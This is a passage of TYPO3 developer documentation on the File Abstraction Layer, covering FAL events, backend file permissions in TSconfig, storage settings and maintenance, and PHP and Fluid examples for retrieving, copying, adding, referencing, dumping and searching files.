Receives an array containing the information collected about the file whose index (i.e. sys_file table entry) was just updated.
AfterFileRemovedFromIndexEvent
Receives the uid of the file (i.e. sys_file table entry) which was deleted.
AfterFileMarkedAsMissingEvent
Receives the uid of the file (i.e. sys_file table entry) which was marked as missing.

\TYPO3\CMS\Core\Resource\Index\MetaDataRepository

EnrichFileMetaDataEvent
This event is dispatched after metadata has been retrieved for a given file. The event receives the metadata as an \ArrayObject instance.
AfterFileMetaDataCreatedEvent
Receives an array containing the metadata collected about the file just after it has been inserted into the sys_file_metadata table.
AfterFileMetaDataUpdatedEvent
This event is dispatched after metadata for a given file has been updated. The event receives the metadata as an array containing all metadata fields (and not just the updated ones).
AfterFileMetaDataDeletedEvent
Receives the uid of the file whose metadata has just been deleted.

\TYPO3\CMS\Core\Resource\Service\FileProcessingService

BeforeFileProcessingEvent
This event is dispatched before a file is processed. The event receives a reference to the processed file and to the original file (both as File instances), a string defining the type of task being executed and an array containing the configuration for that task.
AfterFileProcessingEvent
This event is dispatched after a file has been processed. The event receives a reference to the processed file and to the original file (both as File instances), a string defining the type of task being executed and an array containing the configuration for that task.

See the section about services for more information about this class.

\TYPO3\CMS\Core\Utility\File\ExtendedFileUtility

AfterFileCommandProcessedEvent

New in version 11.4

The event can be used to perform additional tasks for specific file commands. For example, trigger a custom indexer after a file has been uploaded.

Administration

Permissions

Permissions in the file abstraction layer are the result of a combination of various mechanisms.

System permissions

System permissions are strictly enforced and may prevent an action no matter what component triggered them.

Administrators always have full access. The only reason they might not have access is that the underlying file system or storage service does not allow access to a resource (for example, some file is read-only in the local file system).

File mounts

File mounts restrict users to a certain folder in a certain storage. This is an obvious permission restriction: users will never be able to act on a file or folder outside of their allotted file mounts.

User permissions

User permissions for files can be set in the "Fileoperation permissions" section of the backend user or backend user group records.

It is also possible to set permissions using user TSconfig, defined either at backend user or backend user group level. The TSconfig way is recommended because it allows for more flexibility. See some examples below and read on in the section about permissions in the user TSconfig reference.

The default permissions for backend users and backend user groups are read-only:

EXT:my_extension/Configuration/TsConfig/User/permissions.tsconfig
permissions.file.default {
  addFile      = 0
  readFile     = 1
  writeFile    = 0
  copyFile     = 0
  moveFile     = 0
  renameFile   = 0
  deleteFile   = 0
  addFolder    = 0
  readFolder   = 1
  writeFolder  = 0
  copyFolder   = 0
  moveFolder   = 0
  renameFolder = 0
  deleteFolder = 0
  recursivedeleteFolder = 0
}
Copied!

If no permissions are defined in TSconfig, the settings in the backend user and in the backend user group record are taken into account and treated as default permissions for all storages.

User permissions per storage

Using user TSconfig it is possible to set different permissions for different storages. This syntax uses the uid of the targeted storage record.

The following example grants all permission for the storage with uid "1":

EXT:my_extension/Configuration/TsConfig/User/permissions.tsconfig
permissions.file.storage.1 {
  addFile      = 1
  readFile     = 1
  writeFile    = 1
  copyFile     = 1
  moveFile     = 1
  renameFile   = 1
  deleteFile   = 1
  addFolder    = 1
  readFolder   = 1
  writeFolder  = 1
  copyFolder   = 1
  moveFolder   = 1
  renameFolder = 1
  deleteFolder = 1
  recursivedeleteFolder = 1
}
Copied!

User permissions details

This model for permissions behaves very similar to permission systems on Unix and Linux systems. Folders are seen as a collection of files and folders. If you want to change that collection by adding, removing or renaming files or folders you need to have write permissions for the folder as well. If you only want to change the content of a file you need write permissions for the file but not for the containing folder.

Here is the detail of what the various permission options mean:

addFile
Create new files, upload files.
readFile
Show content of files.
writeFile
Edit or save contents of files, even if NO write permissions to folders are granted.
copyFile
Allow copying of files; needs writeFolder permissions for the target folder.
moveFile
Allow moving files; needs writeFolder permissions for source and target folders.
renameFile
Allow renaming files; needs writeFolder permissions.
deleteFile
Delete a file; needs writeFolder permissions.
addFolder
Add or create new folders; needs writeFolder permissions for the parent folder.
readFolder
List contents of folder.
writeFolder
Permission to change contents of folder (add files, rename files, add folders, rename folders). Changing contents of existing files is not governed by this permission!
copyFolder
Needs writeFolder permissions for the target folder.
moveFolder
Needs writeFolder permissions for both target and source folder (because it is removed from the latter, which changes the folder).
renameFolder
Needs writeFolder permissions (because it changes the folder itself and also the containing folder's contents).
deleteFolder
Remove an (empty) folder; needs write folder permissions.
recursivedeleteFolder
Remove a folder even if it has contents; needs write folder permissions.

Default upload folder

When nothing else is defined, any file uploaded by a user will end up in fileadmin/user_upload/. The user TSconfig property defaultUploadFolder, allows to define a different default upload folder on a backend user or backend user group level, for example:

EXT:my_extension/Configuration/TsConfig/User/permissions.tsconfig
options.defaultUploadFolder = 3:users/uploads/
Copied!

There are a number of circumstances where it might be convenient to change the default upload folder. The hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauthgroup.php']['getDefaultUploadFolder'] exists to provide maximum flexibility in that regard. For example, take a look at the extension default_upload_folder, which makes it possible to define a default upload folder for a given field of a given table (using custom TSconfig).

Frontend permissions

The system extension filemetadata adds a fe_groups field to the sys_file_metadata table. This makes it possible to attach frontend permissions to files. However, these permissions are not enforced in any way by the TYPO3 Core. It is up to extension developers to create tools which make use of these permissions.

As an example, you may want to take a look at extension fal_securedownload which also makes use of the "Is publicly available?" property of File storages.

File storages

File storages can be administered through the Web > List module. They have a few properties which deserve further explanation.

Special properties in the "Access capabilities" tab of a File storage

Is browsable?
If this box is not checked, the storage will not be browsable by users via the File > Filelist module, nor via the link browser window.
Is publicly available?

When this box is unchecked, the publicUrl property of files is replaced by an eID call pointing to a file dumping script provided by the TYPO3 Core. The public URL looks something like index.php?eID=dumpFile&t=f&f=1230&token=135b17c52f5e718b7cc94e44186eb432e0cc6d2f. Behind the scenes, the class \TYPO3\CMS\Core\Controller\FileDumpController is invoked to manage the download. The class itself does not implement any access checks, but provides the PSR-14 event ModifyFileDumpEvent for doing so.

Is writable?
When this box is unchecked, the storage is read-only.
Is online?

A storage that is not online cannot be accessed in the backend. This flag is set automatically when files are not accessible (for example, when a third-party storage service is not available) and the underlying driver detects someone trying to access files in that storage.

The important thing to note is that a storage must be turned online again manually.

Changed in version 11.5.35

Assuming that a web project is located in the directory /var/www/example.org/ (the "project root path" for Composer-based projects) and the publicly accessible directory is located at /var/www/example.org/public/ (the "public root path" or "web root"), accessing resources via the File Abstraction Layer component is limited to the mentioned directories and its sub-directories.

To grant additional access to directories, they must be explicitly configured in the system settings of $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] - either using the Install Tool or according to deployment techniques.

Example:

typo3conf/LocalConfiguration.php
// Configure additional directories outside of the project's folder
// as absolute paths
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] = [
    ‘/var/shared/documents/’,
    ‘/var/shared/images/’,
];
Copied!

Storages that reference directories not explicitly granted will be marked as "offline" internally - no resources can be used in the website's frontend and backend context.

See also the security bulletin "Path Traversal in TYPO3 File Abstraction Layer Storages".

Maintenance

There are various maintenance tasks which can be performed to maintain a healthy TYPO3 installation with the file abstraction layer.

Scheduler tasks

Two base tasks provided by the scheduler are related to the file abstraction layer.

File abstraction layer: Update storage index

This task goes through a storage and makes sure that each file is properly indexed. If files are only manipulated via the TYPO3 backend, they are always indexed. However, if files are added by other means (for example, FTP), or if some storages are based on drivers accessing remote systems, it is essential to run this task regularly so that the TYPO3 installation knows about all the existing files and can make them available to users.

This task is defined per storage.

File abstraction layer: Extract metadata in storage

This task goes through all files in a storage and updates their metadata. Again, this is especially important when files can be manipulated by other means or actually reside on external systems.

This task is defined per storage.

Processed files

If you change some graphics-related settings, it may be necessary to force a regeneration of all processed files. This can be achieved by deleting all existing processed files in Admin Tools > Maintenance > Remove Temporary Assets.

Removing all processed files in the Maintenance Tool

Here you can choose to delete all files in fileadmin/_processed_/

This cleanup is also a good idea if you have been accumulating files for a long time. Many of them may be obsolete.

After flushing page cache, it is a good idea to warmup the page cache. Generating the pages for the first time may take longer than usual because the processed files need to be regenerated. There is currently no Core functionality to warmup the page cache for all pages, but there are a number of extensions which provide this functionality. Alternatively, one can use the sitemap and a tool such as wget for this.

Also, deleting processed files while editors are active is not ideal. Preferably, lock the TYPO3 backend before you remove the processed files.

Using FAL

This chapter explains the principles on how to use FAL in various contexts, like the frontend or during extension or TYPO3 Core development, by the way of references or useful examples for common use cases.

Using FAL in the frontend

TypoScript

Using FAL relations in the frontend via TypoScript is achieved using the FILES content object, which is described in detail in the TypoScript Reference.

Fluid

The ImageViewHelper

If you have the uid of a file reference, you can use it directly in the \TYPO3\CMS\Fluid\ViewHelpers\ImageViewHelper:

<f:image image="{image}" />
Copied!

Here {image} is an object of one of the following types:

  • \TYPO3\CMS\Core\Resource\File
  • \TYPO3\CMS\Core\Resource\FileReference
  • \TYPO3\CMS\Extbase\Domain\Model\FileReference

Get file properties

Example:

{fileReference.title}
{fileReference.description}
{fileReference.publicUrl}
Copied!
{fileReference.originalResource.title}
{fileReference.originalResource.description}
{fileReference.originalResource.publicUrl}
Copied!
{fileReference.properties.copyright}
{fileReference.properties.creator}
Copied!

Some metadata fields, like title and description, can be entered either in the referenced file itself or in the reference or both. TYPO3 automatically merges both sources when you access originalResource in Fluid. So originalResource returns the merged value. Values which are entered in the reference will override values from the file itself.

FLUIDTEMPLATE

More often the file reference information will not be available explicitly. The FLUIDTEMPLATE content object has a dataProcessing property which can be used to call the \TYPO3\CMS\Frontend\DataProcessing\FilesProcessor class, whose task is to load all media referenced for the current database record being processed.

This requires first a bit of TypoScript:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.carousel = FLUIDTEMPLATE
lib.carousel {
  file = EXT:my_extension/Resources/Private/Templates/Carousel.html
  dataProcessing.10 = TYPO3\CMS\Frontend\DataProcessing\FilesProcessor
  dataProcessing.10 {
    references {
      table = tt_content
      fieldName = image
    }
    as = images
  }
}
Copied!

This will fetch all files related to the content element being rendered (referenced in the image field) and make them available in a variable called images. This can then be used in the Fluid template:

EXT:my_extension/Resources/Private/Templates/Carousel.html
<f:for each="{images}" as="image">
    <div class="slide">
        <f:image image="{image.originalFile}" />
    </div>
</f:for>
Copied!

TCA Definition

This chapter explains how to create a field that makes it possible to create relations to files.

TYPO3 provides a convenient API for this. Let's look at the TCA configuration the image field of the tt_content table for example (with some parts skipped).

'image' => [
    'label' => 'LLL:EXT:core/Resources/Private/Language/locallang_general.xlf:LGL.images',
    'config' => \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::getFileFieldTCAConfig('image', [
        'appearance' => [
            'createNewRelationLinkTitle' => 'LLL:EXT:frontend/Resources/Private/Language/locallang_ttc.xlf:images.addFileReference'
        ],
        // custom configuration for displaying fields in the overlay/reference table
        // to use the imageoverlayPalette instead of the basicoverlayPalette
        'foreign_types' => [
            // ...
        ]
    ], $GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext'])
],
Copied!

The API call is \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::getFileFieldTCAConfig(). The first argument is the name of the current field, the second argument is an override configuration array, the third argument is the list of allowed file extensions and the fourth argument is the list of disallowed file extensions. All arguments but the first are optional.

A call to \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::getFileFieldTCAConfig() will generate a standard TCA configuration for an inline-type field, with relation to the sys_file table via the sys_file_reference table as "MM" table.

The override configuration array (the second argument) can be used to tweak this default TCA definition. Any valid property from the config section of inline-type fields can be used.

Additionally, there is an extra section for providing media sources, that come as three buttons per default.

A typical FAL relation field

Which ones should appear for the editor to use, can be configures using TCA appearance settings:

EXT:some_extension/Configuration/TCA/Overrides/pages.php
$GLOBALS['TCA']['pages']['columns']['media']['config']['appearance'] = [
   'fileUploadAllowed' => false,
   'fileByUrlAllowed' => false,
];
Copied!

This will suppress two buttons and only leave "Create new relation".

On the database side, the corresponding field needs just store an integer, as is usual for relations field:

EXT:some_extension/ext_tables.sql
CREATE TABLE tt_content (
   image int(11) unsigned DEFAULT '0' NOT NULL,
);
Copied!

The StorageRepository class

The \TYPO3\CMS\Core\Resource\StorageRepository is the main class for creating and retrieving file storage objects. It contains a number of utility methods, some of which are described here, some others which appear in the other code samples provided in this chapter.

Getting the default storage

Of all available storages, one may be marked as default. This is the storage that will be used for any operation whenever no storage has been explicitly chosen or defined (for example, when not using a combined identifier).

EXT:my_extension/Classes/Resource/GetDefaultStorageExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\Resource;

use TYPO3\CMS\Core\Resource\ResourceStorage;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class GetDefaultStorageExample
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        // getDefaultStorage() may return null, if no default storage is configured.
        // Therefore, we check if we receive a ResourceStorage object
        if ($defaultStorage instanceof ResourceStorage) {
            // ... do something with the default storage
        }

        // ... more logic
    }
}
Copied!

Getting any storage

The StorageRepository class should be used for retrieving any storage.

EXT:my_extension/Classes/Resource/GetStorageObjectExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\Resource;

use TYPO3\CMS\Core\Resource\StorageRepository;

final class GetStorageObjectExample
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository) {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $storage = $this->storageRepository->getStorageObject(3);

        // ... more logic
    }
}
Copied!

Working with files, folders and file references

This chapter provides some examples about interacting with file, folder and file reference objects.

Getting a file

By uid

A file can be retrieved using its uid:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\FileDoesNotExistException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\ResourceFactory;

final class MyClass
{
    private ResourceFactory $resourceFactory;

    public function __construct(ResourceFactory $resourceFactory)
    {
        $this->resourceFactory = $resourceFactory;
    }

    public function doSomething(): void
    {
        // Get the file object with uid=4
        try {
            /** @var File $file */
            $file = $this->resourceFactory->getFileObject(4);
        } catch (FileDoesNotExistException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

By its combined identifier

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\ProcessedFile;
use TYPO3\CMS\Core\Resource\ResourceFactory;

final class MyClass
{
    private ResourceFactory $resourceFactory;

    public function __construct(ResourceFactory $resourceFactory)
    {
        $this->resourceFactory = $resourceFactory;
    }

    public function doSomething(): void
    {
        // Get the file object by combined identifier "1:/foo.txt"
        /** @var File|ProcessedFile|null $file */
        $file = $this->resourceFactory->getFileObjectFromCombinedIdentifier('1:/foo.txt');

        // ... more logic
    }
}
Copied!

The syntax of argument 1 for getFileObjectFromCombinedIdentifier() is

[[storage uid]:]<file identifier>
Copied!

The storage uid is optional. If it is not specified, the default storage "0" will be assumed initially. The default storage is virtual with $uid === 0 in its class \TYPO3\CMS\Core\Resource\ResourceStorage . In this case the local filesystem is checked for the given file. The file identifier is the local path and filename relative to the TYPO3 fileadmin/ folder.

Example: /some_folder/some_image.png, if the file /absolute/path/to/fileadmin/some_folder/some_image.png exists on the file system.

The file can be accessed from the default storage, if it exists under the given local path in fileadmin/. In case the file is not found, a search for another storage best fitting to this local path will be started. Afterwards, the file identifier is adapted accordingly inside of TYPO3 to match the new storage's base path.

By filename from its folder

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\ProcessedFile;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $defaultStorage->getFolder('/some/path/in/storage/');

            /** @var File|ProcessedFile|null $file */
            $file = $folder->getStorage()->getFileInFolder('example.ext', $folder);
        } catch (InsufficientFolderAccessPermissionsException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

By its filename from the folder object

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $defaultStorage->getFolder('/some/path/in/storage/');

            /** @var File|null $file */
            $file = $folder->getFile('filename.ext');
        } catch (InsufficientFolderAccessPermissionsException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

Copying a file

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $storageUid = 17;
        $someFileIdentifier = 'templates/images/banner.jpg';
        $someFolderIdentifier = 'website/images/';

        $storage = $this->storageRepository->getStorageObject($storageUid);

        /** @var File $file */
        $file = $storage->getFile($someFileIdentifier);

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $storage->getFolder($someFolderIdentifier);

            /** @var File $copiedFile The new, copied file */
            $copiedFile = $file->copyTo($folder);
        } catch (InsufficientFolderAccessPermissionsException|\RuntimeException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

Deleting a file

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $storageUid = 17;
        $someFileIdentifier = 'templates/images/banner.jpg';

        $storage = $this->storageRepository->getStorageObject($storageUid);

        /** @var File $file */
        $file = $storage->getFile($someFileIdentifier);

        if ($file->delete()) {
            // ... file was deleted successfully
        } else {
            // ... an error occurred
        }

        // ... more logic
    }
}
Copied!

Adding a file

This example adds a new file in the root folder of the default storage:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        /** @var File $newFile */
        $newFile = $storage->addFile(
            '/tmp/temporary_file_name.ext',
            $storage->getRootLevelFolder(),
            'final_file_name.ext'
        );

        // ... more logic
    }
}
Copied!

The default storage uses fileadmin/ unless this was configured differently, as explained in Storages and drivers.

So, for this example, the resulting file path would typically be <document-root>/fileadmin/final_file_name.ext

To store the file in a sub-folder use $storage->getFolder():

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        /** @var File $newFile */
        $newFile = $storage->addFile(
            '/tmp/temporary_file_name.ext',
            $storage->getFolder('some/nested/folder'),
            'final_file_name.ext'
        );

        // ... more logic
    }
}
Copied!

In this example, the file path would likely be <document-root>/fileadmin/some/nested/folder/final_file_name.ext

Creating a file reference

In backend context

In the backend or command line context, it is possible to create file references using the DataHandler ( \TYPO3\CMS\Core\DataHandling\DataHandler ).

Assuming you have the "uid" of both the File and whatever other item you want to create a relation to, the following code will create the sys_file_reference entry and the relation to the other item (in this case a tt_content record):

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Backend\Utility\BackendUtility;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Resource\ResourceFactory;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function __construct(
        private readonly ResourceFactory $resourceFactory,
    ) {}

    public function doSomething(): void
    {
        // Get file object with uid=42
        $fileObject = $this->resourceFactory->getFileObject(42);

        // Get content element with uid=21
        $contentElement = BackendUtility::getRecord('tt_content', 21);

        // Assemble DataHandler data
        $newId = 'NEW1234';
        $data = [];
        $data['sys_file_reference'][$newId] = [
            'table_local' => 'sys_file',
            'uid_local' => $fileObject->getUid(),
            'tablenames' => 'tt_content',
            'uid_foreign' => $contentElement['uid'],
            'fieldname' => 'assets',
            'pid' => $contentElement['pid'],
        ];
        $data['tt_content'][$contentElement['uid']] = [
            'assets' => $newId, // For multiple new references $newId is a comma-separated list
        ];
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // Process the DataHandler data
        $dataHandler->start($data, []);
        $dataHandler->process_datamap();

        // Error or success reporting
        if ($dataHandler->errorLog === []) {
            // ... handle success
        } else {
            // ... handle errors
        }
    }
}
Copied!

The above example comes from the "examples" extension (reference: https://github.com/TYPO3-Documentation/t3docs-examples/blob/master/Classes/Controller/ModuleController.php).

Here, the 'fieldname' 'assets' is used instead of image. Content elements of ctype 'textmedia' use the field 'assets'.

For another table than tt_content, you need to define the "pid" explicitly when creating the relation:

EXT:my_extension/Classes/SomeClass.php
$data['tt_address'][$address['uid']] = [
    'pid' => $address['pid'],
    'image' => 'NEW1234' // changed automatically
];
Copied!

In frontend context

In a frontend context, the \TYPO3\CMS\Core\DataHandling\DataHandler class cannot be used and there is no specific API to create a file reference. You are on your own.

The simplest solution is to create a database entry into table sys_file_reference by using the database connection class or the query builder provided by TYPO3.

A cleaner solution using Extbase requires far more work. An example can be found here: https://github.com/helhum/upload_example

Getting referenced files

This snippet shows how to retrieve FAL items that have been attached to some other element, in this case the media field of the pages table:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\FileReference;
use TYPO3\CMS\Core\Resource\FileRepository;

final class MyClass
{
    private FileRepository $fileRepository;

    public function __construct(FileRepository $fileRepository) {
        $this->fileRepository = $fileRepository;
    }

    public function doSomething(): void
    {
        /** @var FileReference[] $fileObjects */
        $fileObjects = $this->fileRepository->findByRelation('pages', 'media', 42);

        // ... more logic
    }
}
Copied!

where $uid is the ID of some page. The return value is an array of \TYPO3\CMS\Core\Resource\FileReference objects.

Get files in a folder

These would be the shortest steps to get the list of files in a given folder: get the storage, get a folder object for some path in that storage (path relative to storage root), finally retrieve the files:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository)
    {
        $this->storageRepository = $storageRepository;
    }

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $defaultStorage->getFolder('/some/path/in/storage/');

            /** @var File[] $files */
            $files = $defaultStorage->getFilesInFolder($folder);
        } catch (InsufficientFolderAccessPermissionsException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

Dumping a file via eID script

TYPO3 registers an eID script that allows dumping / downloading / referencing files via their FAL IDs. Non-public storages use this script to make their files available to view or download. File retrieval is done via PHP and delivered through the eID script.

An example URL looks like this: index.php?eID=dumpFile&t=f&f=1230&token=135b17c52f5e718b7cc94e44186eb432e0cc6d2f.

Following URI parameters are available:

  • t (Type): Can be one of f (sys_file), r (sys_file_reference) or p (sys_file_processedfile)
  • f (File): UID of table sys_file
  • r (Reference): UID of table sys_file_reference
  • p (Processed): UID of table sys_file_processedfile
  • s (Size): Size (width and height) of the file
  • cv (CropVariant): In case of sys_file_reference, you can assign a cropping variant

You have to choose one of these parameters: f, r or p. It is not possible to combine them in one request.

The parameter s has following syntax: width:height:minW:minH:maxW:maxH. You can leave this parameter empty to load the file in its original size. The parameters width and height can feature the trailing c or m indicator, as known from TypoScript.

The PHP class responsible for handling the file dumping is the FileDumpController, which you may also use in your code.

See the following example on how to create a URI using the FileDumpController for a sys_file record with a fixed image size:

EXT:some_extension/Classes/SomeClass.php
$queryParameterArray = ['eID' => 'dumpFile', 't' => 'f'];
$queryParameterArray['f'] = $resourceObject->getUid();
$queryParameterArray['s'] = '320c:280c';
$queryParameterArray['token'] = GeneralUtility::hmac(implode('|', $queryParameterArray), 'resourceStorageDumpFile');
$publicUrl = GeneralUtility::locationHeaderUrl(PathUtility::getAbsoluteWebPath(Environment::getPublicPath() . '/index.php'));
$publicUrl .= '?' . http_build_query($queryParameterArray, '', '&', PHP_QUERY_RFC3986);
Copied!

In this example, the crop variant default and an image size of 320x280 will be applied to a sys_file_reference record:

EXT:some_extension/Classes/SomeClass.php
$queryParameterArray = ['eID' => 'dumpFile', 't' => 'r'];
$queryParameterArray['f'] = $resourceObject->getUid();
$queryParameterArray['s'] = '320c:280c:320:280:320:280';
$queryParameterArray['cv'] = 'default';
$queryParameterArray['token'] = GeneralUtility::hmac(implode('|', $queryParameterArray), 'resourceStorageDumpFile');
$publicUrl = GeneralUtility::locationHeaderUrl(PathUtility::getAbsoluteWebPath(Environment::getPublicPath() . '/index.php'));
$publicUrl .= '?' . http_build_query($queryParameterArray, '', '&', PHP_QUERY_RFC3986);
Copied!

This example shows how to create a URI to load an image of sys_file_processedfile:

EXT:some_extension/Classes/SomeClass.php
$queryParameterArray = ['eID' => 'dumpFile', 't' => 'p'];
$queryParameterArray['p'] = $resourceObject->getUid();
$queryParameterArray['token'] = GeneralUtility::hmac(implode('|', $queryParameterArray), 'resourceStorageDumpFile');
$publicUrl = GeneralUtility::locationHeaderUrl(PathUtility::getAbsoluteWebPath(Environment::getPublicPath() . '/index.php'));
$publicUrl .= '?' . http_build_query($queryParameterArray, '', '&', PHP_QUERY_RFC3986);
Copied!

The following restrictions apply:

  • You cannot assign any size parameter to processed files, as they are already resized.
  • You cannot apply crop variants to sys_file and sys_file_processedfile records, only to sys_file_reference

Working with collections

The \TYPO3\CMS\Core\Resource\ResourceFactory class provides a convenience method to retrieve a File Collection.

EXT:my_extension/Classes/CollectionExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Resource\ResourceFactory;

final class CollectionExample
{
    private ResourceFactory $resourceFactory;

    public function __construct(ResourceFactory $resourceFactory) {
        $this->resourceFactory = $resourceFactory;
    }

    public function doSomething(): void
    {
        // Get collection with uid 1
        $collection = $this->resourceFactory->getCollectionObject(1);

        // Load the contents of the collection
        $collection->loadContents();
    }
}
Copied!

In this example, we retrieve and load the content from the File Collection with a uid of "1". Any collection implements the \Iterator interface, which means that a collection can be looped over (once its content has been loaded). Thus, if the above code passed the $collection variable to a Fluid view, you could do the following:

<ul>
    <f:for each="{collection}" as="file">
        <li>{file.title}</li>
    </f:for>
</ul>
Copied!

Searching for files

An API is provided by the file abstraction layer (FAL) to search for files in a storage or folder. It includes matches in meta data of those files. The given search term is looked for in all search fields defined in TCA of sys_file and sys_file_metadata tables.

Searching for files in a folder

EXT:my_extension/Classes/SearchInFolderExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Search\FileSearchDemand;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class SearchInFolderExample
{
    private StorageRepository $storageRepository;

    public function __construct(StorageRepository $storageRepository) {
        $this->storageRepository = $storageRepository;
    }

    public function search($searchWord): void
    {
        $folder = $this->getFolderFromDefaultStorage('/some/path/in/storage/');

        $searchDemand = FileSearchDemand::createForSearchTerm($searchWord)->withRecursive();
        $files = $folder->searchFiles($searchDemand);

        // ... more logic
    }

    private function getFolderFromDefaultStorage(string $path)
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        return $defaultStorage->getFolder($path);
    }
}
Copied!

Searching for files in a storage

EXT:my_extension/Classes/SearchInStorageExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Search\FileSearchDemand;
use TYPO3\CMS\Core\Resource\StorageRepository;

